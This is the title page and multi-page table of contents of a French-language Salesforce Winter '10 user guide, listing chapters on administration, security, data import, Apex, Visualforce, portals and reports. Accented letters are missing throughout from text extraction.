Guide de l'utilisateur: Salesforce Winter '10

Comment russir avec Salesforce

Last updated: November 23, 2009

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Guide de l'utilisateur | Table des matires | i

Table des matires

Prsentation........................................................................................................................................1
Mise en route.......................................................................................................................................2
Inscription.................................................................................................................................................................................2
Navigateurs pris en charge.........................................................................................................................................................3
Utilisation de l'application.........................................................................................................................................................6
Saisie des donnes.....................................................................................................................................................................8
Navigation...............................................................................................................................................................................12
Utilisation de la fentre Aide & formation..............................................................................................................................16

Configuration personnelle..................................................................................................................19
Prsentation de la configuration personnelle...........................................................................................................................19
Modification des informations personnelles............................................................................................................................20
Modification du service par dfaut..........................................................................................................................................30
Personnalisation de votre affichage..........................................................................................................................................30
Modification du mot de passe.................................................................................................................................................32
Ajout et modification de quotas..............................................................................................................................................33
Modification des paramtres de message.................................................................................................................................34
Modification des paramtres personnels Rester en contact.....................................................................................................34
Octroi de l'accs votre calendrier..........................................................................................................................................35
Dfinition des prfrences de type d'enregistrement...............................................................................................................36
Planification des rappels de mise jour d'opportunit............................................................................................................37
Recherche des mises jour du client de bureau.......................................................................................................................38
Personnalisation des rappels d'activit.....................................................................................................................................39

Gestion de l'administration.................................................................................................................41
Configuration de votre organisation........................................................................................................................................41
Informations sur la socit.......................................................................................................................................................45
Gestion de plusieurs devises....................................................................................................................................................56
propos de la gestion avance des devises..............................................................................................................................59
Prsentation des services..........................................................................................................................................................62
Gestion des modles de publipostage......................................................................................................................................70
Utilisation des en-ttes............................................................................................................................................................74
Gestion des modles de message.............................................................................................................................................76
Configuration du systme de traduction..................................................................................................................................88

Gestion des utilisateurs......................................................................................................................92

Prsentation de la gestion des utilisateurs................................................................................................................................92

Guide de l'utilisateur | Table des matires | ii

Gestion des utilisateurs ...........................................................................................................................................................93
Gestion des rles...................................................................................................................................................................102
Gestion des profils.................................................................................................................................................................108
Autorisations utilisateurs sur les profils.................................................................................................................................117
Gestion des groupes...............................................................................................................................................................135
Gestion des files d'attente......................................................................................................................................................139
Surveillance des vnements utilisateur.................................................................................................................................148

Scurit et partage............................................................................................................................158
Scurisation de l'accs aux donnes.......................................................................................................................................158
Gestion des paramtres de partage........................................................................................................................................161
Configuration de la scurit au niveau du champ..................................................................................................................182
Dfinition des stratgies de mot de passe..............................................................................................................................184
Configuration de la scurit de session..................................................................................................................................185
Restriction des plages IP de connexion pour Votre entreprise...............................................................................................187
A propos des Connexions uniques.........................................................................................................................................188
Surveillance des modifications de configuration....................................................................................................................206
Dlgation des tches administratives...................................................................................................................................209
Activation du rapport du responsable du compte..................................................................................................................213

Gestion des donnes.........................................................................................................................216

Exportation des donnes de sauvegarde.................................................................................................................................216
Surveillance des ressources....................................................................................................................................................218
Prsentation du transfert d'enregistrements...........................................................................................................................221
Gestion de plusieurs demandes d'approbation.......................................................................................................................224
Suppression en masse de donnes..........................................................................................................................................225
Configuration d'instantans analytiques................................................................................................................................227
Nouvelle attribution de plusieurs membres d'quipe.............................................................................................................241
Transfert de services..............................................................................................................................................................244
Mise jour en masse d'adresses.............................................................................................................................................245
Force.com Sandbox................................................................................................................................................................246
Prsentation de l'importation................................................................................................................................................255
Importation de plusieurs devises............................................................................................................................................265
Cration de fichiers d'exportation pour les assistants d'importation......................................................................................266
Prparation des donnes importer.......................................................................................................................................273
Accs aux assistants d'importation.........................................................................................................................................287
Annulation d'une importation...............................................................................................................................................305
Prsentation de Data Loader.................................................................................................................................................305
Installation du module Data Loader......................................................................................................................................307
Configuration du module Data Loader.................................................................................................................................308
Insertion, mise jour ou suppression de donnes..................................................................................................................311
Exportation de donnes.........................................................................................................................................................313
Types de donnes pris en charge par le module Data Loader ...............................................................................................314
Dfinition des mappages de champs.....................................................................................................................................316

Guide de l'utilisateur | Table des matires | iii

Vrification des fichiers de sortie...........................................................................................................................................317
Utilisation de l'interface de ligne de commande....................................................................................................................317
Dpannage des oprations du module Data Loader..............................................................................................................318
Dsinstallation du module Data Loader................................................................................................................................319
Force.com ConnectOracle.....................................................................................................................................................319
Force.com ConnectSAP........................................................................................................................................................319

Surveillance.....................................................................................................................................321
Utilisation de la file d'attente d'importation..........................................................................................................................321
Suivi du statut de livraison des messages sortants..................................................................................................................322
Surveillance de la file d'attente du workflow.........................................................................................................................323
Surveillance de la file d'attente des rgles de hirarchisation des requtes.............................................................................324
propos des notifications d'utilisation de l'API...................................................................................................................325
Surveillance de la file d'attente d'envoi d'e-mails en masse...................................................................................................327
Gestion des journaux de dbogage........................................................................................................................................328
Surveillance des tches prvues..............................................................................................................................................330
Surveillance des tches en arrire-plan..................................................................................................................................331
Apex File d'attente des tches...............................................................................................................................................331
Que sont les journaux d'e-mails ?..........................................................................................................................................333
Surveillance des tches de chargement de donnes en masse................................................................................................339

Administration des e-mails...............................................................................................................344

Configuration des paramtres de livraison.............................................................................................................................344
Activation des messages Cci de conformit...........................................................................................................................346
Test de la livraison.................................................................................................................................................................347
Configuration de la fonction de relais de messagerie.............................................................................................................348
Adresses l'chelle de l'organisation.....................................................................................................................................350
Dfinition d'adresses l'chelle de l'organisation..................................................................................................................351
Activation de la fonction Envoyer un e-mail Salesforce......................................................................................................352

Personnaliser....................................................................................................................................354
Prsentation de la configuration des sous-applications..........................................................................................................354
Prsentation de la personnalisation........................................................................................................................................355
Attribution d'un nouveau nom aux tiquettes d'onglets et de champs...................................................................................359
Personnalisation des paramtres de l'interface utilisateur......................................................................................................361
Personnalisation des paramtres de recherche.......................................................................................................................365
Personnalisation des paramtres des balises...........................................................................................................................367
Personnalisation des paramtres de rapports et de tableaux de bord......................................................................................369
Personnalisation des champs..................................................................................................................................................372
Prsentation de l'aide personnalise.......................................................................................................................................533
Gestion de plusieurs processus commerciaux ........................................................................................................................537
Gestion des types d'enregistrement.......................................................................................................................................539
Gestion des prsentations de page.........................................................................................................................................544
Personnalisation des prsentations de l'onglet page d'accueil................................................................................................568

Guide de l'utilisateur | Table des matires | iv

Personnalisation des prsentations de recherche....................................................................................................................572
Gestion des dossiers...............................................................................................................................................................573
Configuration des boutons et liens personnaliss..................................................................................................................578
Configuration de la gestion des pistes...................................................................................................................................586
Saisie de pistes Web...............................................................................................................................................................590
Configuration du support client............................................................................................................................................592
Activation de solutions publiques..........................................................................................................................................601
Saisie de requtes Web..........................................................................................................................................................602
Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande.......................................................604
Gestion des catgories de solutions.......................................................................................................................................616
Gestion des rgles d'attribution.............................................................................................................................................619
Gestion des rgles de hirarchisation.....................................................................................................................................624
Configuration des rgles de rponse automatique.................................................................................................................629
Configuration du libre-service...............................................................................................................................................633
Personnalisation des paramtres de contrat...........................................................................................................................657
Activation des rappels de mise jour d'opportunit..............................................................................................................658
Personnalisation des alertes d'affaires importantes ...............................................................................................................659
Configuration des planifications de produits.........................................................................................................................661
Activation automatique des catalogues des produits..............................................................................................................662
Slection des produits sur les opportunits............................................................................................................................663
Activation des opportunits similaires...................................................................................................................................664
Configuration des prvisions personnalisables.......................................................................................................................666
Gestion des calendriers publics et des calendriers de ressources ...........................................................................................675
Personnalisation des paramtres d'activit.............................................................................................................................677

Crer...............................................................................................................................................680
Prsentation des outils de dveloppement de sous-applications............................................................................................680
Prsentation d'une sous-application......................................................................................................................................681
Dfinition des sous-applications personnalises....................................................................................................................682
Gestion des sous-applications................................................................................................................................................683
tiquettes personnalises.......................................................................................................................................................686
Prsentation de l'objet personnalis.......................................................................................................................................690
Dfinition d'objets personnaliss...........................................................................................................................................691
Gestion des objets personnaliss............................................................................................................................................696
Suppression d'objets personnaliss.........................................................................................................................................710
Gestion des objets personnaliss supprims...........................................................................................................................712
Prsentation de l'onglet personnalis.....................................................................................................................................717
Dfinition d'onglets personnaliss.........................................................................................................................................718
Gestion des onglets personnaliss..........................................................................................................................................722
Gestion du workflow et des approbations..............................................................................................................................723
Processus d'approbation - Mise en route...............................................................................................................................768
Prsentation d'Apex...............................................................................................................................................................831
Prsentation des packages......................................................................................................................................................836

Guide de l'utilisateur | Table des matires | v

Dvelopper......................................................................................................................................886
Prsentation du dveloppement.............................................................................................................................................886
Prsentation du code Apex Force.com...................................................................................................................................887
Dfinition des classes Apex...................................................................................................................................................888
Gestion des paramtres de version pour Apex.......................................................................................................................890
Gestion des classes Apex.......................................................................................................................................................891
Affichage des classes Apex....................................................................................................................................................893
Dfinition des dclencheurs Apex.........................................................................................................................................897
Gestion des dclencheurs Apex.............................................................................................................................................899
Affichage des dtails du dclencheur Apex............................................................................................................................900
Planification de classes Apex.................................................................................................................................................902
Utilisation de la console du journal systme..........................................................................................................................903
Qu'est-ce qu'un journal de dbogage ?..................................................................................................................................906
Utilisation d'outils Apex........................................................................................................................................................912
Que sont les services de messagerie lectronique ?................................................................................................................913
Dfinition des services de messagerie lectronique................................................................................................................915
Dfinition des adresses du service de messagerie lectronique...............................................................................................919
Utilisation de l'objet InboundEmail......................................................................................................................................920
Prsentation de l'API............................................................................................................................................................927
Tlchargement des documents WSDL et des certificats d'authentification client Salesforce.com......................................928
Configuration des versions de package par dfaut pour les appels API.................................................................................931
Vue d'ensemble des paramtres personnaliss........................................................................................................................939
Dfinition de paramtres personnaliss.................................................................................................................................943
Gestion des donnes de paramtres personnaliss.................................................................................................................945
Prsentation de Visualforce...................................................................................................................................................947
Comment les pages Visualforce se comparent-elles aux commandes S-Controls ?...............................................................949
Activation du mode Dveloppement.....................................................................................................................................950
Dfinition des pages Visualforce...........................................................................................................................................951
Paramtrage de la page de scurit Visualforce......................................................................................................................955
Exceptions non gres dans Visualforce................................................................................................................................957
Utilisation de l'diteur pour Visualforce ouApex...................................................................................................................958
Qu'est-ce qu'une ressource statique ?.....................................................................................................................................961
Dfinition des ressources statiques........................................................................................................................................963
Gestion des ressources statiques............................................................................................................................................964
Prsentation d'un composant personnalis............................................................................................................................965
Dfinition des composants personnaliss..............................................................................................................................966
Gestion des composants personnaliss..................................................................................................................................969
Affichage et modification de composants personnaliss........................................................................................................970
Dfinition des commandes Custom S-Control.....................................................................................................................971
Ressources de documentation pour les dveloppeurs Force.com...........................................................................................992
Prsentation de l'application d'accs distance.....................................................................................................................992
Dfinition d'applications d'accs distance...........................................................................................................................995
Authentification de l'application d'accs distance OAuth...................................................................................................998

Guide de l'utilisateur | Table des matires | vi

Dployer........................................................................................................................................1005
Prsentation du dploiement...............................................................................................................................................1005
Prsentation des ensembles de modifications......................................................................................................................1006
Surveillance des dploiements de mtadonnes...................................................................................................................1006

Packages installs...........................................................................................................................1009
Packages installs.................................................................................................................................................................1009
Dsinstaller un package.......................................................................................................................................................1018
Gestion des installations de packages..................................................................................................................................1020
Gestion des licences de packages installs...........................................................................................................................1026
Mise niveau des packages..................................................................................................................................................1031

Console des mises jour critiques....................................................................................................1033

Prsentation des mises jour critiques.................................................................................................................................1033
Mises jour critiques Winter '10.........................................................................................................................................1034
Mises jour critiques Spring '09.........................................................................................................................................1038

Comptes.........................................................................................................................................1047
Prsentation des comptes.....................................................................................................................................................1047
Page d'accueil des comptes..................................................................................................................................................1053
Affichage des listes de comptes...........................................................................................................................................1054
Affichage et modification de comptes.................................................................................................................................1056
Affichage des comptes principaux.......................................................................................................................................1060
Partage de comptes..............................................................................................................................................................1061
Fusion de comptes en double ..............................................................................................................................................1064
Ajout de noms traduits........................................................................................................................................................1066
Modification de la responsabilit.........................................................................................................................................1067
Modification du champ de type d'enregistrement...............................................................................................................1069

quipes de compte..........................................................................................................................1070
Prsentation d'une quipe de comptes.................................................................................................................................1070
Configuration des quipes de comptes................................................................................................................................1071
Dfinition de votre quipe de comptes par dfaut...............................................................................................................1072
Ajout de membres une quipe de comptes........................................................................................................................1073
Modification de membres d'une quipe de comptes............................................................................................................1074
Suppression de membres de l'quipe de comptes.................................................................................................................1074

Activits.........................................................................................................................................1076
Prsentation des activits.....................................................................................................................................................1076
Accessibilit des activits.....................................................................................................................................................1076
Affichage des activits.........................................................................................................................................................1078

Guide de l'utilisateur | Table des matires | vii

Cration d'activits..............................................................................................................................................................1080
Modification des activits....................................................................................................................................................1082
Utilisation de la liste associe des activits en cours.............................................................................................................1082
Utilisation de la liste associe de l'historique des activits...................................................................................................1083
Dfinition de rappels pour les activits................................................................................................................................1084
A propos des activits archives...........................................................................................................................................1085
Affichage de votre agenda...................................................................................................................................................1085
Affichage des dtails d'vnement.......................................................................................................................................1093
Cration d'vnements........................................................................................................................................................1094
Modification des vnements..............................................................................................................................................1098
Cration d'un rendez-vous Outlook pour un vnement.....................................................................................................1102
Affichage des tches............................................................................................................................................................1104
Cration de tches...............................................................................................................................................................1105
Modification des tches.......................................................................................................................................................1108

Rponses........................................................................................................................................1111
Prsentation des rponses....................................................................................................................................................1111
Cration et modification de questions.................................................................................................................................1112
Affichage et modification de questions................................................................................................................................1113
Affichage et modification des rponses...............................................................................................................................1114
Personnalisation des paramtres de Rponses......................................................................................................................1116
Affichage des listes de rponses...........................................................................................................................................1117
Utilisation de la liste associe Rponses...............................................................................................................................1117
Utilisation de la liste associe Votes.....................................................................................................................................1118
Affichage des listes de votes.................................................................................................................................................1119

Actifs.............................................................................................................................................1120
Prsentation des actifs.........................................................................................................................................................1120
Mise en route - Actifs..........................................................................................................................................................1120
Affichage et modification d'actifs........................................................................................................................................1121
Suppression d'actifs ............................................................................................................................................................1122

Centre d'Appels..............................................................................................................................1124
Qu'est-ce que Salesforce CRM Call Center Edition ?........................................................................................................1124
propos des SoftPhones....................................................................................................................................................1125
Utilisation d'un SoftPhone..................................................................................................................................................1126
Connexion au SoftPhone....................................................................................................................................................1127
Appel avec le SoftPhone......................................................................................................................................................1129
Rponse un appel avec le SoftPhone.................................................................................................................................1133
Mise en attente d'un appelant l'aide du SoftPhone...........................................................................................................1134
Lancement d'une audioconfrence avec le SoftPhone.........................................................................................................1135
Transfert d'un appel avec le SoftPhone...............................................................................................................................1136
Cration de journaux des appels dans le SoftPhone............................................................................................................1137
Fin d'un appel avec le SoftPhone........................................................................................................................................1138

Guide de l'utilisateur | Table des matires | viii

Modification des paramtres SoftPhone personnels............................................................................................................1139
Configuration de Salesforce CRM Call Center..................................................................................................................1141
Dploiement d'adaptateurs sur des ordinateurs de centre d'appels......................................................................................1141
Cration d'un centre d'appels..............................................................................................................................................1142
Gestion des centres d'appels................................................................................................................................................1146
Gestion des utilisateurs de centre d'appels...........................................................................................................................1147
Personnalisation de l'annuaire d'un centre d'appels.............................................................................................................1150
Personnalisation des prsentations SoftPhone.....................................................................................................................1151

Campagnes.....................................................................................................................................1154
Prsentation des campagnes................................................................................................................................................1154
Page d'accueil des campagnes..............................................................................................................................................1154
Affichage de listes de campagnes.........................................................................................................................................1156
Affichage des hirarchies de campagnes..............................................................................................................................1157
Affichage et modification de campagnes.............................................................................................................................1159
Personnalisation de la configuration des campagnes............................................................................................................1161
Configuration des hirarchies de campagnes.......................................................................................................................1162
Quest-ce que linfluence de campagne ?.............................................................................................................................1164
Gestion des membres d'une campagne................................................................................................................................1167
Ajout, modification ou clonage de membres de campagne individuels................................................................................1183
Champs de campagne..........................................................................................................................................................1189
Partage des campagnes........................................................................................................................................................1197
Ajout en masse de contacts ou de pistes une campagne....................................................................................................1199
Suppression massive de contacts ou de pistes d'une campagne............................................................................................1200

Requtes........................................................................................................................................1202
Prsentation des requtes.....................................................................................................................................................1202
Page d'accueil des requtes..................................................................................................................................................1202
Attribution de requtes........................................................................................................................................................1204
Affichage de listes de requtes.............................................................................................................................................1208
Modification de plusieurs requtes......................................................................................................................................1210
Affichage et modification de requtes.................................................................................................................................1211
Affichage des hirarchies de requtes..................................................................................................................................1216
Utilisation des e-mails de requte........................................................................................................................................1218
Rsolution de requtes.........................................................................................................................................................1220
Clture de requtes..............................................................................................................................................................1221
Partage de requtes..............................................................................................................................................................1221

quipes de requtes........................................................................................................................1223
Prsentation des quipes de requte.....................................................................................................................................1223
Configuration dquipes de requtes....................................................................................................................................1224
Prdfinition dquipes de requtes.....................................................................................................................................1229
Ajout de membres une quipe de requtes........................................................................................................................1232
Mise jour des membres dune quipe de requtes.............................................................................................................1233

Guide de l'utilisateur | Table des matires | ix

Champs dquipes de requtes.............................................................................................................................................1235

Concurrents...................................................................................................................................1236
Prsentation de Concurrents...............................................................................................................................................1236
Affichage et modification de la concurrence........................................................................................................................1236

Console..........................................................................................................................................1238
Qu'est-ce que la console ?....................................................................................................................................................1238
Configuration de la console.................................................................................................................................................1239
Affichage de la console........................................................................................................................................................1245
Navigation dans la console...................................................................................................................................................1246

Contacts.........................................................................................................................................1249
Prsentation des contacts.....................................................................................................................................................1249
Page d'accueil des contacts...................................................................................................................................................1249
Affichage des listes de contacts............................................................................................................................................1250
Affichage et modification des contacts................................................................................................................................1252
Libre-service pour les contacts et les comptes personnels....................................................................................................1255
Activation du portail Client pour les constacts et les comptes personnels...........................................................................1257
Affichage de la hirarchie des contacts................................................................................................................................1260
Fusion des contacts en double ............................................................................................................................................1261
Partage des contacts.............................................................................................................................................................1263
Envoi de demandes Rester en contact.................................................................................................................................1264

Rles des contacts...........................................................................................................................1267

Affichage et modification des rles du contact....................................................................................................................1267
Ajout de rles de contact.....................................................................................................................................................1268

Contrats.........................................................................................................................................1269
Prsentation des contrats.....................................................................................................................................................1269
Page d'accueil des contrats...................................................................................................................................................1269
Affichage des listes de contrats............................................................................................................................................1271
Affichage et modification des contrats................................................................................................................................1272
Cration de contrats............................................................................................................................................................1274
Approbation des contrats.....................................................................................................................................................1275
Activation de contrats..........................................................................................................................................................1276

Enregistrements d'objets personnaliss............................................................................................1277

Prsentation d'un enregistrement d'objet personnalis........................................................................................................1277
Accueil des objets personnaliss...........................................................................................................................................1277
Affichage des listes d'objets personnaliss...........................................................................................................................1279
Affichage et modification des enregistrements d'objets personnaliss.................................................................................1280

Guide de l'utilisateur | Table des matires | x

Utilisation de listes associes personnalises........................................................................................................................1282
Partage d'enregistrements d'objet personnalis....................................................................................................................1283

Portail client...................................................................................................................................1284
Configuration du portail Client...........................................................................................................................................1284
Gestion des utilisateurs du portail Client............................................................................................................................1313

Catgories de donnes.....................................................................................................................1332
Que sont les catgories de donnes ?...................................................................................................................................1332
Gestion des catgories de donnes.......................................................................................................................................1334
Cration et modification de groupes de catgories..............................................................................................................1335
Suppression et restauration de groupes de catgories...........................................................................................................1336
Ajout de catgories de donnes............................................................................................................................................1337
Modification et positionnement des catgories...................................................................................................................1339
Suppression de catgories de donnes.................................................................................................................................1341
Vue d'ensemble des paramtres de visibilit des groupes de catgories................................................................................1344
Affichage des paramtres de visibilit de groupes de catgories des rles............................................................................1346
Modification des paramtres de visibilit de groupes de catgories.....................................................................................1347
Diffrences entre la visibilit de catgories et les autres modles Salesforce.com................................................................1349
Exemples de paramtres de visibilit de groupes de catgories............................................................................................1350

Tableaux de bord.............................................................................................................................1354
Prsentation des tableaux de bord........................................................................................................................................1354
Affichage de listes de tableaux de bord................................................................................................................................1355
Affichage de tableaux de bord.............................................................................................................................................1356
Cration et modification de proprits de tableaux de bord................................................................................................1357
Clonage de tableaux de bord................................................................................................................................................1358
Modification de tableaux de bord........................................................................................................................................1359
Proprits de tableaux de bord.............................................................................................................................................1360
Ajout de composants de tableaux de bord...........................................................................................................................1361
Actualisation des donnes du tableau de bord.....................................................................................................................1371
Planification de l'actualisation d'un tableau de bord............................................................................................................1371
Impression de tableaux de bord...........................................................................................................................................1374
Suppression de tableaux de bord..........................................................................................................................................1375

Documents.....................................................................................................................................1376
Prsentation de la bibliothque de documents.....................................................................................................................1376
Page d'accueil des documents..............................................................................................................................................1376
Affichage de listes de documents ........................................................................................................................................1377
Affichage et modification des proprits du document.......................................................................................................1378
Tlchargement amont et remplacement de documents......................................................................................................1379
Proprits du document.......................................................................................................................................................1381
Modification des auteurs de documents..............................................................................................................................1383

Guide de l'utilisateur | Table des matires | xi

Recherche de documents.....................................................................................................................................................1383

E-mail............................................................................................................................................1386
Envoi d'e-mails....................................................................................................................................................................1386
Envoi en masse d'e-mails.....................................................................................................................................................1388
Suivi des e-mails HTML....................................................................................................................................................1391
Utilisation de mon e-mail l'adresse Salesforce..................................................................................................................1392

Sites Force.com..............................................................................................................................1395
Prsentation des sites Force.com..........................................................................................................................................1395
Observations sur les sites Force.com....................................................................................................................................1397
Limites et facturation des sites Force.com...........................................................................................................................1398
Mise en cache des pages de sites Force.com........................................................................................................................1401
Configuration de sites Force.com........................................................................................................................................1403
Gestion des sites Force.com.................................................................................................................................................1404
Enregistrement d'un domaine Force.com personnalis........................................................................................................1405
Cration et modification de sites Force.com........................................................................................................................1406
Configuration des sites Force.com.......................................................................................................................................1409
Gnration de rapports sur les sites Force.com....................................................................................................................1411
Paramtres d'accs public pour les sites Force.com..............................................................................................................1413
Gestion des pages Visualforce de sites Force.com...............................................................................................................1415
Gestion des pages standard de sites Force.com....................................................................................................................1416
Attribution de pages d'erreur aux sites Force.com...............................................................................................................1417
Affichage de l'historique d'utilisation du site sur 24 heures.................................................................................................1418
Affichage de l'historique du site Force.com.........................................................................................................................1419
Gestion des paramtres de connexion et d'inscription aux sites Force.com.........................................................................1420
Association d'un portail avec des sites Force.com................................................................................................................1424
Suivi de votre site l'aide Google Analytics........................................................................................................................1429
propos des fils de syndication..........................................................................................................................................1435

Prvisions.......................................................................................................................................1439
Prsentation des prvisions..................................................................................................................................................1439
Page d'accueil des prvisions................................................................................................................................................1439
Affichage des listes prvisionnelles......................................................................................................................................1440
Affichage et modification des prvisions.............................................................................................................................1440
Cration de prvisions.........................................................................................................................................................1444

Prvisions personnalisables.............................................................................................................1445
Prsentation des prvisions personnalisables........................................................................................................................1445
Utilisation des catgories prvisionnelles ............................................................................................................................1446
Page d'accueil de la prvision personnalisable......................................................................................................................1447
Gestion des prvisions personnalisables ..............................................................................................................................1448
Affichage des prvisions personnalisables............................................................................................................................1449

Guide de l'utilisateur | Table des matires | xii

Remplacement des prvisions personnalisables....................................................................................................................1451
Soumission de prvisions personnalisables..........................................................................................................................1452

Onglet Accueil...............................................................................................................................1454
Prsentation de l'onglet Accueil...........................................................................................................................................1454
Modification du tableau de bord de votre onglet Accueil....................................................................................................1454
Utilisation de votre calendrier et de vos tches sur la page d'accueil....................................................................................1455
Corbeille..............................................................................................................................................................................1456
Modification de votre service...............................................................................................................................................1457
Affichage des alertes de mise jour client...........................................................................................................................1458

Ides..............................................................................................................................................1460
Prsentation des Ides.........................................................................................................................................................1460
Utilisation des ides.............................................................................................................................................................1463
Configuration des ides.......................................................................................................................................................1474

Utilisation de la base de connaissances Salesforce Knowledge............................................................1486

Gestion des articles..............................................................................................................................................................1486
Utilisation des articles..........................................................................................................................................................1495

Configuration de la base de connaissances Salesforce Knowledge......................................................1500

Prsentation de la base de connaissances Salesforce Knowledge..........................................................................................1500
Terminologie utile relative la base de connaissances Salesforce Knowledge......................................................................1503
Configuration de la base de connaissances Salesforce Knowledge.......................................................................................1505
Activation des paramtres de la base de connaissances Salesforce Knowledge....................................................................1507
Gestion des types d'articles..................................................................................................................................................1508
Dfinition de types d'articles...............................................................................................................................................1509
Suppression de types d'articles.............................................................................................................................................1517
Importation d'articles..........................................................................................................................................................1518

Piste...............................................................................................................................................1524
Prsentation des pistes.........................................................................................................................................................1524
Page d'accueil des pistes.......................................................................................................................................................1524
Gestion des pistes................................................................................................................................................................1526
Affichage des listes de pistes................................................................................................................................................1527
Modification de plusieurs pistes..........................................................................................................................................1529
Affichage et modification des pistes....................................................................................................................................1530
Conversion de pistes............................................................................................................................................................1532
Partage de pistes..................................................................................................................................................................1535
Fusion des pistes en double..................................................................................................................................................1536

Vues de liste....................................................................................................................................1538

Guide de l'utilisateur | Table des matires | xiii

Cration de vues Listes personnalises................................................................................................................................1538
Utilisation des listes avances..............................................................................................................................................1541
Utilisation de la modification en ligne dans des listes..........................................................................................................1542
Impression de vues de liste..................................................................................................................................................1544
Navigation dans les listes longues........................................................................................................................................1545
Valeurs de date spciales pour les critres de filtrage...........................................................................................................1546

Publipostage...................................................................................................................................1550
Envoi de documents de publipostage uniques.....................................................................................................................1550
Utilisation de l'assistant Publipostage en masse...................................................................................................................1551

Notes et pices jointes.....................................................................................................................1554

Affichage et modification de Google Documents, notes et pices jointes ..........................................................................1554
Cration de notes.................................................................................................................................................................1555
Ajout de pices jointes.........................................................................................................................................................1556

Opportunits..................................................................................................................................1557
Prsentation des opportunits..............................................................................................................................................1557
Page d'accueil des opportunits...........................................................................................................................................1557
Affichage des listes d'opportunits......................................................................................................................................1559
Affichage et modification des opportunits.........................................................................................................................1560
Partage des opportunits......................................................................................................................................................1565
Recherche d'opportunits similaires....................................................................................................................................1565

Partenaires.....................................................................................................................................1567
Affichage et ajout de partenaires.........................................................................................................................................1567
Cration de rapports sur les partenaires...............................................................................................................................1568

Portail partenaire............................................................................................................................1569
Prsentation du portail partenaire........................................................................................................................................1569
Configuration de votre portail partenaire............................................................................................................................1571
Activation du portail partenaire...........................................................................................................................................1572
Cration de Portails partenaire............................................................................................................................................1575
Activation de Salesforce CRM Content dans le portail partenaire......................................................................................1580
Configuration du portail partenaire.....................................................................................................................................1582
A propos de la gestion de lutilisateur du portail partenaire.................................................................................................1594
Utilisation des utilisateurs partenaires.................................................................................................................................1601
propos de l'accs mobile pour les utilisateurs partenaires ................................................................................................1606
Activation de requtes dans le Portail partenaire.................................................................................................................1608
Meilleures pratiques du portail partenaire...........................................................................................................................1610

PRM..............................................................................................................................................1612

Guide de l'utilisateur | Table des matires | xiv

Prsentation de la gestion des relations partenaires.............................................................................................................1612
Configuration du PRM.......................................................................................................................................................1614
Gestion des portails PRM...................................................................................................................................................1629
Cration de comptes partenaires..........................................................................................................................................1647
Cration d'utilisateurs partenaires.......................................................................................................................................1648
Utilisation des utilisateurs partenaires.................................................................................................................................1649

Portails...........................................................................................................................................1653
Utilisation de l'onglet Portails..............................................................................................................................................1653

Produits.........................................................................................................................................1655
Prsentation des produits, des catalogues de prix et des planifications................................................................................1655
Accueil des produits.............................................................................................................................................................1656
Affichage des listes de produits...........................................................................................................................................1657
Affichage des entres du catalogue de prix..........................................................................................................................1658
Gestion des catalogues.........................................................................................................................................................1659
Affichage et modification des produits................................................................................................................................1660
Affichage et modification des catalogues.............................................................................................................................1661
Cration de produits............................................................................................................................................................1662
Dfinition des prix des produits...........................................................................................................................................1664
Choix d'un catalogue pour une opportunit........................................................................................................................1666
Ajout de produits aux opportunits.....................................................................................................................................1666
tablissement des planifications..........................................................................................................................................1669
Modification des planifications...........................................................................................................................................1670
Partage des catalogues.........................................................................................................................................................1671
Suppression des produits et des catalogues..........................................................................................................................1672
Recherche de catalogues de prix et de produits...................................................................................................................1674

Groupes de relations.......................................................................................................................1676
Rapports........................................................................................................................................1677
Prsentation des rapports.....................................................................................................................................................1677
Page d'accueil des rapports..................................................................................................................................................1679
Dossiers de rapports standard..............................................................................................................................................1681
Personnalisation de l'onglet Rapports..................................................................................................................................1710
Excution de rapports..........................................................................................................................................................1711
Planification d'un rapport....................................................................................................................................................1713
Personnalisation des rapports..............................................................................................................................................1716
Limitation des rsultats d'un rapport...................................................................................................................................1732
Saisie des critres de filtre....................................................................................................................................................1736
Tri des rsultats de rapport..................................................................................................................................................1744
Calcul du sous-total des rsultats de rapport.......................................................................................................................1745
Enregistrement des rapports................................................................................................................................................1746

Guide de l'utilisateur | Table des matires | xv

Recherche de rapports.........................................................................................................................................................1747
Impression et exportation des rapports................................................................................................................................1748
Prsentation du type de rapport personnalis......................................................................................................................1753
Configuration des types de rapport personnalis.................................................................................................................1754
Gestion des types de rapport personnalis...........................................................................................................................1764
Gestion des Instantans analytiques....................................................................................................................................1766

Salesforce Content..........................................................................................................................1768
Prsentation de Salesforce CRM Content...........................................................................................................................1768
Utilisation de Salesforce CRM Content..............................................................................................................................1771
Configuration de Salesforce CRM Content........................................................................................................................1797

Salesforce pour Google Adwords.....................................................................................................1819

Prsentation de Salesforce CRM et Google Adwords.........................................................................................................1819
Prsentation de Salesforce CRM et Google AdWords........................................................................................................1820
Inscription : Nouveau compte Google AdWords................................................................................................................1821
Inscription : Liaison vers un compte Google Adwords existant..........................................................................................1822
Configuration du suivi des pistes.........................................................................................................................................1824
Visualisation des pistes suivies avec Salesforce CRM et Google Adwords..........................................................................1827
Utilisation de Salesforce CRM et Google AdWords...........................................................................................................1829
Concepts Salesforce CRM et Google AdWords.................................................................................................................1830
Dconnexion de votre compte Google Adwords.................................................................................................................1831

Salesforce pour Google Apps...........................................................................................................1832

Prsentation de Google Apps..............................................................................................................................................1832
Mise en route de Salesforce et Google Apps.......................................................................................................................1834
Mise en route de Salesforce et Google Apps pris en charge................................................................................................1836
Configuration de Google Apps dans Salesforce.com...........................................................................................................1839
Cration de comptes Google Apps......................................................................................................................................1840
Utilisation de Google Documents dans Salesforce.com......................................................................................................1841
Activation de Google Documents dans Salesforce.com.......................................................................................................1842
Ajout de Google Documents Salesforce.com....................................................................................................................1844
Modification des liens de Google Documents.....................................................................................................................1847
Installation du bouton du navigateur Ajouter Google Documents Salesforce.com...........................................................1848
Association de Google Documents Salesforce.com..........................................................................................................1849
Activation de l'onglet Google Documents...........................................................................................................................1851
Utilisation de Gmail dans Salesforce.com...........................................................................................................................1852
Utilisation de Google Talk dans Salesforce.com..................................................................................................................1853

Salesforce to Salesforce...................................................................................................................1855
Prsentation de Salesforce to Salesforce..............................................................................................................................1855
Activation de Salesforce to Salesforce..................................................................................................................................1856
Configuration de 100 % Salesforce......................................................................................................................................1857

Guide de l'utilisateur | Table des matires | xvi

Invitation de partenaires commerciaux se connecter l'aide de Salesforce to Salesforce...................................................1858
Acceptation ou refus d'une invitation rejoindre 100 % Salesforce.....................................................................................1860
Page d'accueil des connexions..............................................................................................................................................1861
Gestion des connexions.......................................................................................................................................................1862
Modles de connexion dans Salesforce to Salesforce...........................................................................................................1864
